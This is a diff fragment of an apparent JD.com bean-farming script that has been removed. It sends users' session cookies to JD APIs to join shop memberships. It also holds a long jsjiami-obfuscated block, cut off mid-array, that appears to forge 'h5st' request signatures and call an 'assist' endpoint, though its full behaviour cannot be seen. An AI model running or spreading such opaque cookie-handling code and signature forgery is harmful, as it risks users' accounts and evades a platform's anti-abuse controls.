- if ($.openCardStatus) { - console.log(`已经是会员了~`); - resolve(); - } else if ($.openCardBean === 0) { - console.log('查询该店入会没有送豆,不入会'); - resolve(); - } else if ($.openCardBean < OPENCARD_BEAN) { - console.log(`入会送【${$.openCardBean}】豆少于【${OPENCARD_BEAN}豆】,不入...`) - resolve(); - } else { - let body = `{"venderId":"${$.joinVenderId}","shopId":"${$.joinVenderId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}` - let h5st = await h5stSign(body) || 'undefined' - const options = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${body}&clientVersion=9.2.0&client=H5&uuid=88888&h5st=${h5st}`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': cookie - } - } - $.get(options, async (err, resp, data) => { - try { - // console.log(data) - let res = $.toObj(data,data); - if(typeof res == 'object'){ - if(res.success === true){ - console.log(res.message) - $.errorJoinShop = res.message - if(res.result && res.result.giftInfo){ - for(let i of res.result.giftInfo.giftList){ - console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) - } - } - }else if(typeof res == 'object' && res.message){ - $.errorJoinShop = res.message - console.log(`${res.message || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - } - }) -} -function getshopactivityId() { - return new Promise(resolve => { - const options = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${$.joinVenderId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': cookie - } - } - $.get(options, async (err, resp, data) => { - try { - let res = $.toObj(data, data); - if(typeof res == 'object'){ - if(res.success == true){ - // console.log($.toStr(res.result)) - console.log(`会员卡名称:${res.result.shopMemberCardInfo.venderCardName || ''}`) - $.shopactivityId = res.result.interestsRuleList && res.result.interestsRuleList[0] && res.result.interestsRuleList[0].interestsInfo && res.result.interestsRuleList[0].interestsInfo.activityId || '' - $.openCardStatus = res.result.userInfo.openCardStatus; - if (res.result.interestsRuleList && res.result.interestsRuleList.length) { - for (let i = 0; i < res.result.interestsRuleList.length; i++) { - const item = res.result.interestsRuleList[i]; - if (item.prizeName && item.prizeName.includes('京豆')) { - $.openCardBean = parseInt(item.discountString); - break; - } - } - } - } - }else{ - console.log(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -var _0xod2='jsjiami.com.v6',_0xod2_=['_0xod2'],_0x2cf9=[_0xod2,'\x6a\x73\x6a\x69\x61\x6d\x69\x2e\x63\x6f\x6d\x2e\x76\x36','\u202e\x5f\x30\x78\x6f\x64\x65','\x45\x63\x4b\x41\x58\x45\x55\x6d\x77\x37\x4c\x43\x6d\x77\x3d\x3d','\x58\x73\x4f\x39\x77\x72\x2f\x43\x69\x31\x51\x3d','\x77\x72\x58\x43\x6e\x43\x6e\x44\x6d\x32\x44\x44\x74\x51\x3d\x3d','\x77\x6f\x74\x63\x4e\x33\x33\x44\x69\x51\x3d\x3d','\x77\x35\x42\x55\x4a\x73\x4b\x67\x57\x73\x4b\x49\x77\x71\x4d\x3d','\x42\x45\x58\x43\x70\x67\x59\x44','\x77\x6f\x78\x36\x57\x4d\x4f\x6c\x77\x72\x41\x3d','\x77\x34\x34\x4f\x52\x4d\x4b\x6b\x77\x37\x6b\x3d','\x56\x4d\x4b\x76\x52\x7a\x6a\x44\x74\x77\x3d\x3d','\x77\x34\x74\x4a\x51\x33\x68\x67\x42\x68\x33\x44\x76\x77\x72\x44\x74\x41\x4d\x38\x77\x35\x6b\x62\x49\x32\x58\x43\x70\x6b\x77\x4f\x4a\x44\x62\x44\x67\x63\x4b\x4d\x45\x73\x4b\x62\x42\x31\x2f\x43\x75\x38\x4b\x4f\x58\x4d\x4b\x4c\x77\x35\x52\x45\x44\x48\x56\x35\x77\x6f\x6b\x4c\x48\x7a\x2f\x43\x69\x33\x31\x50\x77\x72\x38\x3d','\x4e\x73\x4f\x6b\x56\x63\x4b\x44\x4c\x41\x3d\x3d','\x4a\x47\x76\x44\x72\x43\x30\x73\x77\x71\x68\x70\x65\x6e\x54\x44\x75\x38\x4f\x73\x77\x72\x4c\x44\x69\x6b\x37\x43\x6c\x68\x78\x51\x77\x34\x35\x2f\x77\x37\x2f\x44\x6a\x57\x56\x33','\x77\x71\x51\x4a\x4c\x63\x4b\x55\x57\x38\x4b\x6f\x51\x38\x4b\x63\x59\x7a\x4e\x56\x46\x63\x4f\x56\x46\x46\x64\x4b\x77\x35\x44\x43\x6c\x4d\x4f\x52\x77\x35\x66\x44\x6e\x4d\x4f\x75\x77\x71\x30\x3d','\x77\x37\x72\x43\x73\x4d\x4f\x6e\x4d\x6e\x67\x3d','\x77\x6f\x4d\x53\x4b\x48\x76\x44\x6e\x68\x7a\x43\x6c\x58\x76\x44\x6d\x68\x4c\x43\x68\x73\x4b\x58\x77\x6f\x78\x59\x50\x31\x6a\x44\x68\x45\x2f\x44\x67\x6d\x6a\x43\x6a\x4d\x4f\x5a\x77\x37\x51\x3d','\x77\x35\x6f\x63\x66\x48\x2f\x44\x6e\x42\x2f\x43\x74\x58\x44\x43\x6c\x67\x72\x43\x6e\x73\x4b\x44\x77\x6f\x77\x53\x4f\x55\x4c\x44\x69\x6b\x48\x43\x68\x6d\x7a\x44\x68\x38\x4b\x4f\x77\x72\x50\x43\x6c\x38\x4f\x76\x66\x63\x4b\x48\x65\x4d\x4b\x77\x4a\x67\x3d\x3d','\x77\x37\x51\x67\x77\x34\x34\x3d','\x43\x63\x4b\x4b\x51\x6b\x51\x36','\x45\x31\x72\x44\x6e\x63\x4b\x4e\x77\x6f\x63\x3d','\x77\x71\x72\x43\x6a\x52\x2f\x43\x6c\x51\x3d\x3d','\x77\x6f\x31\x5a\x77\x71\x6a\x43\x73\x7a\x45\x3d','\x77\x71\x73\x59\x4e\x38\x4b\x76\x54\x63\x4f\x72','\x77\x35\x42\x55\x49\x73\x4b\x35\x53\x63\x4b\x46\x77\x36\x59\x3d','\x77\x34\x5a\x7a\x65\x63\x4f\x64','\x77\x72\x54\x43\x6c\x4d\x4b\x74\x77\x72\x4a\x52','\x77\x6f\x39\x6d\x77\x72\x67\x71\x61\x43\x34\x3d','\x77\x70\x77\x67\x4c\x79\x7a\x44\x72\x38\x4f\x38','\x77\x36\x6b\x37\x77\x34\x74\x4c\x77\x35\x30\x72','\x77\x71\x30\x52\x4b\x63\x4b\x4d\x53\x63\x4f\x77\x43\x63\x4f\x48','\x77\x71\x73\x4c\x63\x38\x4b\x38\x51\x57\x48\x44\x6a\x68\x51\x51\x77\x71\x4a\x76\x77\x70\x4e\x46\x77\x70\x66\x43\x70\x4d\x4b\x33\x42\x63\x4f\x32\x77\x37\x68\x38\x55\x6e\x78\x58\x56\x47\x6f\x4f\x49\x30\x70\x33\x77\x72\x5a\x41\x4e\x38\x4b\x35\x77\x70\x63\x33\x49\x73\x4f\x62\x77\x70\x33\x44\x6f\x57\x4c\x43\x75\x6b\x31\x6f\x77\x6f\x74\x48\x77\x72\x6f\x63\x77\x36\x58\x44\x6d\x53\x38\x55\x58\x67\x3d\x3d','\x77\x72\x4c\x44\x71\x55\x6f\x3d','\x4c\x57\x72\x43\x75\x77\x73\x3d','\x77\x37\x66\x43\x6b\x77\x48\x44\x6b\x33\x72\x43\x74\x77\x33\x43\x6d\x41\x3d\x3d','\x54\x46\x50\x44\x67\x67\x76\x43\x72\x51\x3d\x3d','\x77\x70\x50\x43\x67\x38\x4b\x35\x77\x70\x4e\x64\x66\x78\x66\x43\x68\x6a\x4c\x43\x70\x67\x3d\x3d','\x77\x72\x33\x43\x75\x73\x4b\x76\x77\x71\x35\x34','\x43\x30\x72\x44\x74\x32\x58\x44\x6b\x67\x3d\x3d','\x4b\x46\x4a\x6b\x4b\x77\x63\x3d','\x77\x34\x4a\x6b\x63\x48\x33\x43\x76\x73\x4b\x37\x77\x34\x42\x63\x4b\x73\x4f\x70','\x4f\x63\x4b\x69\x61\x63\x4b\x79\x44\x41\x3d\x3d','\x77\x70\x70\x46\x77\x6f\x48\x43\x70\x6a\x4d\x3d','\x45\x63\x4f\x42\x65\x63\x4b\x69\x77\x70\x55\x54','\x77\x71\x41\x59\x4e\x38\x4b\x44\x58\x4d\x4f\x36','\x77\x72\x6a\x43\x69\x54\x66\x44\x6c\x58\x41\x3d','\x77\x70\x6a\x43\x6e\x4d\x4b\x54\x77\x71\x49\x65\x43\x51\x3d\x3d','\x77\x72\x72\x43\x6c\x53\x37\x44\x6d\x58\x72\x44\x71\x51\x3d\x3d','\x66\x38\x4f\x6e\x48\x63\x4f\x31\x53\x51\x3d\x3d','\x64\x57\x76\x44\x73\x68\x49\x3d','\x77\x71\x58\x44\x69\x51\x62\x43\x6b\x42\x59\x3d','\x61\x4d\x4b\x76\x50\x77\x3d\x3d','\x49\x30\x4d\x61\x4b\x32\x63\x3d','\x41\x38\x4f\x6e\x42\x4d\x4f\x75\x4f\x67\x3d\x3d','\x77\x71\x44\x44\x6a\x73\x4f\x2f\x77\x34\x35\x73\x77\x36\x72\x43\x6b\x73\x4f\x78','\x44\x63\x4f\x49\x77\x70\x58\x44\x76\x42\x49\x3d','\x77\x36\x41\x6e\x63\x4d\x4b\x34\x77\x36\x70\x39\x77\x6f\x4c\x44\x6f\x51\x3d\x3d','\x4f\x55\x2f\x44\x67\x63\x4b\x74\x44\x41\x3d\x3d','\x5a\x55\x30\x65\x77\x36\x2f\x44\x72\x78\x41\x54\x77\x71\x59\x41\x77\x72\x49\x3d','\x77\x35\x44\x43\x75\x38\x4b\x48\x77\x36\x4d\x51','\x77\x72\x54\x43\x6a\x52\x73\x3d','\x77\x6f\x4d\x49\x63\x73\x4f\x6c\x77\x6f\x41\x3d','\x62\x73\x4f\x59\x66\x51\x3d\x3d','\x45\x63\x4b\x4a\x57\x30\x34\x33','\x77\x71\x5a\x6b\x77\x71\x38\x4a\x61\x67\x3d\x3d','\x4f\x57\x62\x43\x72\x79\x55\x48\x77\x37\x30\x3d','\x44\x63\x4f\x49\x77\x71\x33\x44\x72\x51\x34\x3d','\x77\x71\x37\x43\x6a\x54\x2f\x43\x6c\x63\x4f\x78\x51\x6a\x33\x43\x6c\x67\x3d\x3d','\x77\x6f\x50\x44\x67\x63\x4b\x66\x77\x72\x63\x50\x46\x47\x49\x4a','\x5a\x43\x42\x45\x77\x70\x62\x44\x6b\x73\x4b\x32\x42\x4d\x4f\x6a\x55\x63\x4b\x45','\x77\x71\x76\x44\x70\x32\x48\x44\x6c\x63\x4b\x51\x65\x77\x63\x76','\x77\x6f\x59\x36\x45\x54\x72\x44\x75\x4d\x4f\x6e\x77\x70\x67\x4d','\x77\x35\x62\x44\x72\x4d\x4b\x66\x77\x36\x42\x77\x61\x58\x78\x78','\x49\x4d\x4f\x47\x61\x73\x4b\x6a\x48\x33\x49\x3d','\x77\x71\x4a\x37\x52\x38\x4f\x37\x77\x71\x41\x3d','\x4b\x6d\x2f\x44\x6e\x6b\x33\x44\x6f\x6d\x77\x3d','\x4f\x73\x4b\x6d\x52\x73\x4b\x2b\x46\x77\x3d\x3d','\x77\x72\x72\x43\x6c\x69\x6e\x44\x6e\x33\x58\x44\x71\x51\x3d\x3d','\x77\x71\x6b\x47\x66\x73\x4b\x37\x52\x58\x4d\x3d','\x77\x70\x33\x44\x67\x63\x4b\x6c\x77\x71\x30\x3d','\x77\x34\x38\x66\x77\x37\x4e\x70\x77\x35\x63\x3d','\x49\x73\x4f\x5a\x64\x4d\x4b\x70\x47\x67\x3d\x3d','\x77\x70\x52\x68\x77\x36\x6f\x3d','\x4b\x63\x4f\x48\x49\x4d\x4f\x73\x50\x6b\x4c\x43\x69\x73\x4f\x70\x77\x71\x37\x44\x6e\x6b\x76\x44\x71\x7a\x30\x3d','\x64\x67\x30\x75\x56\x31\x4d\x3d','\x65\x6e\x37\x44\x75\x44\x45\x35\x77\x71\x7a\x44\x67\x73\x4f\x4b\x57\x4d\x4b\x35\x56\x6a\x50\x43\x73\x63\x4f\x55\x77\x36\x51\x3d','\x77\x6f\x37\x44\x6c\x38\x4b\x31\x77\x72\x6f\x77\x4d\x47\x67\x4b\x4a\x38\x4b\x36\x77\x70\x48\x43\x74\x51\x76\x43\x6e\x58\x78\x55\x4a\x67\x3d\x3d','\x77\x37\x78\x61\x64\x4d\x4f\x76\x48\x41\x3d\x3d','\x77\x71\x54\x43\x76\x53\x73\x3d','\x43\x38\x4b\x70\x56\x45\x55\x52','\x49\x45\x6c\x47\x50\x52\x6b\x3d','\x4c\x63\x4f\x39\x77\x72\x54\x44\x6f\x6a\x45\x3d','\x77\x34\x4e\x4f\x77\x72\x67\x3d','\x4a\x4d\x4b\x61\x58\x4d\x4b\x35\x48\x77\x3d\x3d','\x77\x37\x5a\x31\x53\x4d\x4f\x39\x4a\x77\x3d\x3d','\x5a\x38\x4f\x53\x59\x44\x55\x3d','\x51\x73\x4b\x70\x55\x56\x44\x43\x6b\x77\x51\x3d','\x77\x36\x66\x43\x6c\x54\x48\x44\x6b\x31\x7a\x43\x70\x78\x50\x43\x6d\x67\x3d\x3d','\x77\x36\x4a\x56\x54\x73\x4f\x64\x50\x67\x3d\x3d','\x77\x71\x4d\x54\x53\x4d\x4b\x2b\x61\x41\x3d\x3d','\x45\x73\x4f\x48\x62\x73\x4b\x67\x77\x72\x67\x3d','\x46\x63\x4b\x50\x53\x41\x3d\x3d','\x77\x37\x4e\x49\x58\x4d\x4f\x7a\x49\x41\x3d\x3d','\x4d\x45\x6e\x43\x72\x42\x37\x43\x75\x67\x3d\x3d','\x4c\x48\x76\x44\x69\x73\x4b\x4a\x77\x71\x67\x3d','\x77\x72\x49\x63\x65\x4d\x4b\x31\x5a\x67\x3d\x3d','\x57\x55\x62\x44\x76\x41\x54\x43\x6b\x77\x3d\x3d','\x77\x35\x6e\x43\x6f\x63\x4f\x64\x44\x56\x6f\x3d','\x77\x37\x30\x71\x77\x35\x64\x70\x77\x35\x59\x31','\x4c\x38\x4f\x75\x5a\x63\x4f\x54\x77\x6f\x6f\x3d','\x77\x35\x4e\x77\x54\x63\x4f\x47\x50\x6d\x34\x2f\x4c\x67\x3d\x3d','\x77\x37\x6e\x43\x76\x4d\x4f\x46\x43\x47\x4c\x44\x69\x58\x4c\x44\x76\x41\x3d\x3d','\x77\x35\x44\x43\x69\x42\x76\x44\x6c\x31\x72\x43\x6f\x54\x66\x43\x72\x67\x3d\x3d','\x77\x6f\x72\x44\x6b\x63\x4b\x36\x77\x35\x34\x42\x77\x71\x72\x44\x70\x38\x4f\x68','\x4f\x73\x4f\x56\x77\x72\x2f\x44\x75\x42\x51\x41\x77\x34\x48\x43\x74\x51\x3d\x3d','\x44\x4d\x4b\x42\x61\x31\x51\x73\x77\x35\x54\x43\x6b\x79\x6b\x3d','\x77\x36\x44\x44\x6f\x6b\x68\x76\x4f\x4d\x4f\x47\x62\x4d\x4b\x34','\x46\x38\x4f\x50\x52\x4d\x4b\x79\x77\x6f\x67\x58\x65\x4d\x4f\x68','\x47\x38\x4b\x42\x56\x6b\x4d\x2f\x77\x34\x6b\x3d','\x77\x72\x34\x47\x51\x38\x4b\x73\x56\x6d\x37\x44\x68\x78\x73\x3d','\x55\x73\x4b\x30\x61\x43\x62\x44\x6f\x77\x3d\x3d','\x4f\x47\x67\x63\x4a\x56\x54\x44\x74\x63\x4f\x49\x47\x67\x3d\x3d','\x77\x34\x52\x77\x63\x4d\x4f\x52\x4c\x58\x4d\x3d','\x77\x71\x51\x47\x5a\x77\x3d\x3d','\x45\x48\x50\x43\x70\x6a\x6e\x43\x70\x41\x3d\x3d','\x62\x58\x72\x44\x76\x67\x67\x76\x77\x70\x33\x44\x68\x4d\x4f\x57','\x77\x37\x30\x71\x77\x34\x31\x6d\x77\x35\x49\x34\x54\x51\x3d\x3d','\x77\x70\x44\x44\x69\x38\x4b\x34\x77\x6f\x73\x53\x43\x48\x34\x64','\x77\x6f\x54\x44\x6d\x63\x4f\x79\x77\x37\x5a\x33\x77\x37\x44\x43\x71\x73\x4f\x52','\x77\x70\x39\x56\x4b\x6c\x50\x44\x68\x51\x48\x43\x69\x57\x44\x44\x6b\x55\x4d\x3d','\x77\x72\x37\x43\x6e\x44\x50\x44\x72\x33\x48\x44\x76\x6c\x67\x63\x77\x6f\x58\x44\x6f\x77\x3d\x3d','\x77\x37\x30\x71\x77\x34\x31\x6d\x77\x35\x49\x31','\x77\x71\x63\x78\x66\x4d\x4f\x5a\x77\x72\x6f\x3d','\x41\x73\x4f\x36\x51\x63\x4b\x6a\x45\x51\x3d\x3d','\x77\x37\x50\x44\x71\x47\x39\x57\x49\x38\x4f\x44\x62\x73\x4b\x32\x58\x47\x44\x43\x69\x56\x2f\x44\x74\x73\x4b\x53\x77\x71\x34\x3d','\x65\x48\x72\x44\x75\x69\x6b\x68\x77\x70\x44\x44\x6c\x51\x3d\x3d','\x65\x68\x41\x67\x4d\x73\x4b\x7a\x77\x35\x51\x3d','\x4a\x4d\x4f\x4d\x63\x4d\x4b\x47\x43\x32\x70\x59\x51\x58\x45\x61\x65\x77\x3d\x3d','\x46\x4d\x4b\x4c\x56\x6b\x63\x71\x77\x35\x55\x3d','\x77\x71\x6f\x53\x4b\x38\x4b\x68\x53\x63\x4f\x78\x42\x41\x3d\x3d','\x4c\x32\x67\x68\x4d\x6b\x66\x44\x71\x41\x3d\x3d','\x4f\x47\x49\x38\x4a\x51\x3d\x3d','\x4a\x33\x44\x44\x67\x38\x4b\x7a\x47\x51\x3d\x3d','\x64\x73\x4f\x49\x5a\x6a\x39\x5a\x52\x67\x3d\x3d','\x4f\x4d\x4f\x75\x59\x4d\x4f\x56\x77\x6f\x56\x69','\x77\x72\x58\x43\x6f\x63\x4b\x36\x77\x71\x78\x44','\x77\x6f\x4d\x36\x45\x52\x2f\x44\x6d\x77\x3d\x3d','\x57\x73\x4b\x54\x49\x73\x4f\x2b\x77\x34\x78\x4a\x49\x63\x4b\x30\x63\x73\x4b\x58\x41\x47\x50\x44\x6b\x73\x4f\x65\x63\x4d\x4b\x47','\x41\x55\x44\x44\x71\x63\x4b\x32\x77\x6f\x6b\x79\x77\x70\x52\x2f\x48\x73\x4f\x66\x77\x36\x6e\x44\x67\x43\x41\x51\x4c\x30\x34\x3d','\x46\x6e\x72\x44\x76\x4d\x4b\x61\x5a\x77\x76\x44\x73\x73\x4b\x53\x77\x70\x34\x4b\x77\x34\x33\x44\x69\x6a\x72\x43\x71\x43\x41\x41\x41\x67\x3d\x3d','\x77\x34\x72\x44\x74\x38\x4b\x34\x77\x36\x52\x78\x4f\x6a\x30\x35\x61\x45\x58\x44\x69\x38\x4f\x79\x4a\x73\x4b\x55\x64\x63\x4f\x6c\x77\x70\x33\x43\x75\x55\x48\x43\x69\x38\x4f\x65\x77\x35\x66\x43\x6f\x63\x4f\x6d','\x4d\x77\x6c\x43\x77\x72\x2f\x43\x72\x30\x78\x4b\x77\x37\x39\x78\x77\x36\x38\x3d','\x41\x4d\x4b\x4e\x55\x47\x55\x75','\x6a\x73\x6a\x69\x61\x6d\x69\x2e\x72\x41\x63\x6f\x79\x6d\x2e\x76\x6b\x36\x71\x6c\x77\x54\x43\x54\x59\x53\x72\x57\x64\x79\x3d\x3d','\x73\x68\x69\x66\x74','\x70\x75\x73\x68','\x6c\x65\x6e\x67\x74\x68','\x72\x65\x70\x6c\x61\x63\x65','\x63\x6f\x6e\x63\x61\x74','\x73\x6c\x69\x63\x65','\x66\x77\x6e\x49\x4c\x73','\x75\x6e\x64\x65\x66\x69\x6e\x65\x64','\x6f\x62\x6a\x65\x63\x74','\x66\x75\x6e\x63\x74\x69\x6f\x6e','\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d','\x61\x74\x6f\x62','\x63\x68\x61\x72\x41\x74','\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65','\x69\x6e\x64\x65\x78\x4f\x66','\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74','\x74\x6f\x53\x74\x72\x69\x6e\x67','\x4f\x47\x61\x46\x4f\x61','\x57\x51\x50\x45\x71\x4f','\x51\x6a\x67\x56\x4c\x6d','\x74\x59\x54\x5d','\x37\x31\x49\x28','\x56\x65\x70\x52','\x49\x7a\x56\x68','\x63\x42\x77\x59','\x6e\x24\x53\x2a','\x6c\x6e\x4d\x78','\x58\x46\x54\x43\x4d','\x72\x61\x6e\x64\x6f\x6d','\x48\x41\x57\x41\x53','\x39\x49\x39\x4a','\x59\x5e\x5a\x37','\x52\x52\x61\x63','\x79\x71\x6c\x54','\x57\x66\x46\x49','\x23\x46\x4f\x42','\x67\x24\x2a\x72','\x54\x5a\x78\x79','\x57\x74\x46\x70\x67','\x71\x75\x76\x6b\x54','\u202e\x31\x30','\x49\x38\x35\x6e','\u202b\x31\x31','\x29\x41\x4c\x6c','\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6a\x73\x6f\x6e','\u202b\x31\x32','\x7a\x7a\x54\x25','\x51\x56\x47\x4e\x55','\u202b\x31\x33','\x63\x61\x63\x74\x75\x73\x2e\x6a\x64\x2e\x63\x6f\x6d','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x61\x63\x74\x75\x73\x2e\x6a\x64\x2e\x63\x6f\x6d','\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x43\x68\x72\x6f\x6d\x65\x2f\x35\x33\x2e\x30\x2e\x32\x37\x38\x35\x2e\x31\x34\x33\x20\x53\x61\x66\x61\x72\x69\x2f\x35\x33\x37\x2e\x33\x36\x20\x4d\x69\x63\x72\x6f\x4d\x65\x73\x73\x65\x6e\x67\x65\x72\x2f\x37\x2e\x30\x2e\x39\x2e\x35\x30\x31\x20\x4e\x65\x74\x54\x79\x70\x65\x2f\x57\x49\x46\x49\x20\x4d\x69\x6e\x69\x50\x72\x6f\x67\x72\x61\x6d\x45\x6e\x76\x2f\x57\x69\x6e\x64\x6f\x77\x73\x20\x57\x69\x6e\x64\x6f\x77\x73\x57\x65\x63\x68\x61\x74','\x7b\x22\x76\x65\x72\x73\x69\x6f\x6e\x22\x3a\x22\x33\x2e\x30\x22\x2c\x22\x66\x70\x22\x3a','\x2c\x22\x61\x70\x70\x49\x64\x22\x3a\x22\x61\x31\x61\x63\x62\x22\x2c\x22\x74\x69\x6d\x65\x73\x74\x61\x6d\x70\x22\x3a','\x6e\x6f\x77','\x2c\x22\x70\x6c\x61\x74\x66\x6f\x72\x6d\x22\x3a\x22\x77\x65\x62\x22\x2c\x22\x65\x78\x70\x61\x6e\x64\x50\x61\x72\x61\x6d\x73\x22\x3a\x22\x22\x7d','\u202b\x31\x39','\u202e\x31\x61','\u202e\x31\x62','\x62\x31\x37\x50','\x6c\x6f\x67','\x73\x74\x72\x69\x6e\x67\x69\x66\x79','\x70\x61\x72\x73\x65','\u202e\x31\x63','\x78\x42\x6b\x5e','\u202e\x31\x64','\x66\x50\x29\x40','\u202b\x31\x65','\u202b\x31\x66','\x4f\x2a\x57\x5b','\x66\x71\x61\x64\x5a','\x44\x62\x67\x55\x63','\u202e\x32\x30','\x46\x6b\x75\x71\x57','\u202b\x32\x32','\u202b\x32\x33','\x7a\x77\x71\x72','\u202b\x32\x34','\u202e\x32\x35','\x54\x4d\x57\x40','\u202e\x32\x36','\x73\x79\x77\x4e','\x42\x43\x4a\x64\x51','\u202b\x32\x37','\x6f\x79\x65\x6a\x52','\u202e\x32\x38','\x53\x79\x4c\x37','\u202e\x32\x39','\x65\x78\x4e\x6e','\u202b\x32\x61','\x72\x57\x76\x71\x63','\u202b\x32\x62','\x43\x51\x76\x4f\x56','\u202b\x32\x63','\x35\x6e\x4a\x42','\u202e\x32\x64','\x21\x52\x40\x48','\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5f\x2d','\x53\x57\x59\x77\x64','\u202b\x32\x65','\u202b\x32\x66','\x77\x33\x54\x5d','\u202b\x33\x30','\u202e\x33\x31','\u202b\x33\x32','\x76\x61\x6c\x75\x65','\u202b\x33\x33','\u202b\x33\x34','\x37\x52\x7a\x24','\x62\x6f\x64\x79','\u202e\x33\x35','\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e','\u202e\x33\x36','\x70\x61\x72\x74\x79\x5f\x72\x74\x5f\x61\x73\x73\x69\x73\x74','\u202b\x33\x37','\x79\x79\x79\x79\x4d\x4d\x64\x64\x68\x68\x6d\x6d\x73\x73\x53\x53\x53','\u202b\x33\x38','\u202b\x33\x39','\x59\x36\x7a\x50','\u202b\x33\x61','\x21\x79\x64\x70','\x61\x63\x74\x69\x76\x69\x74\x69\x65\x73\x5f\x70\x6c\x61\x74\x66\x6f\x72\x6d','\u202e\x33\x62','\x54\x67\x28\x26','\u202b\x33\x63','\x77\x72\x53\x79','\x53\x48\x41\x32\x35\x36','\u202e\x33\x64','\x6c\x49\x67\x67','\u202e\x33\x65','\x64\x7a\x69\x59\x4c','\x61\x70\x70\x6c\x65\x74','\u202e\x33\x66','\x45\x72\x6c\x7a\x6f','\u202b\x34\x30','\x76\x76\x69\x70\x63\x6c\x75\x62\x5f\x64\x69\x73\x74\x72\x69\x62\x75\x74\x65\x42\x65\x61\x6e\x5f\x73\x74\x61\x72\x74\x41\x73\x73\x69\x73\x74','\u202b\x34\x32','\x6d\x61\x70','\u202e\x34\x33','\x68\x6f\x4f\x59','\u202e\x34\x34','\x72\x41\x4b\x67','\u202e\x34\x35','\u202e\x34\x36','\x29\x55\x46\x4b','\x4b\x65\x50\x44\x62','\u202b\x34\x37','\u202e\x34\x38','\x75\x58\x79\x52\x69','\u202e\x34\x39','\x43\x72\x79\x70\x74\x6f\x4a\x53','\u202e\x34\x61','\u202b\x34\x62','\x25\x50\x45\x47','\u202b\x34\x63','\u202b\x34\x64','\u202b\x34\x65','\u202b\x34\x66','\u202b\x35\x30','\u202b\x35\x31','\u202b\x35\x32','\u202b\x35\x33','\x33\x2e\x30','\u202b\x35\x34','\u202b\x35\x35','\u202b\x35\x36','\u202e\x35\x37','\x6f\x32\x5f\x61\x63\x74','\x63\x6c\x69\x65\x6e\x74','\u202b\x35\x38','\u202b\x35\x39','\u202e\x35\x61','\u202e\x35\x62','\x33\x4c\x31\x5e','\x6a\x6f\x69\x6e','\u202b\x35\x63','\u202e\x35\x64','\x33\x2e\x31','\u202e\x35\x65','\x47\x5e\x4b\x67','\x79\x79\x79\x79\x2d\x4d\x4d\x2d\x64\x64','\u202e\x35\x66','\u202b\x36\x30','\x54\x5a\x72\x6a\x51','\u202e\x36\x31','\u202e\x36\x32','\x37\x4a\x64\x49','\u202b\x36\x33','\x46\x4d\x69\x46\x4f','\u202b\x36\x34','\u202e\x36\x35','\u202b\x36\x36','\x74\x6f\x53\x74\x72','\u202e\x36\x37','\u202e\x36\x38','\u202e\x36\x39','\x57\x4a\x75\x4f\x42','\u202e\x36\x61','\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64','\x70\x7a\x43\x56\x5a','\u202b\x36\x62','\u202e\x36\x63','\u202e\x36\x64','\x67\x39\x7a\x69','\u202e\x36\x65','\x68\x72\x52\x71\x47','\u202b\x36\x66','\u202e\x37\x30','\u202e\x37\x31','\x6a\x46\x41\x75','\u202b\x37\x32','\u202e\x37\x33','\u202b\x37\x34','\x43\x55\x78\x44\x45','\u202b\x37\x35','\u202e\x37\x36','\u202e\x37\x37','\x57\x63\x57\x45','\u202b\x37\x38','\x48\x6d\x61\x63\x53\x48\x41\x32\x35\x36','\u202e\x37\x39','\u202e\x37\x61','\u202b\x37\x62','\u202b\x37\x63','\u202e\x37\x64','\u202e\x37\x65','\u202e\x37\x66','\x74\x6f\x6b\x65\x6e','\x48\x79\x70\x62\x53','\u202e\x38\x30','\x6a\x77\x63\x54\x45','\u202b\x38\x31','\u202b\x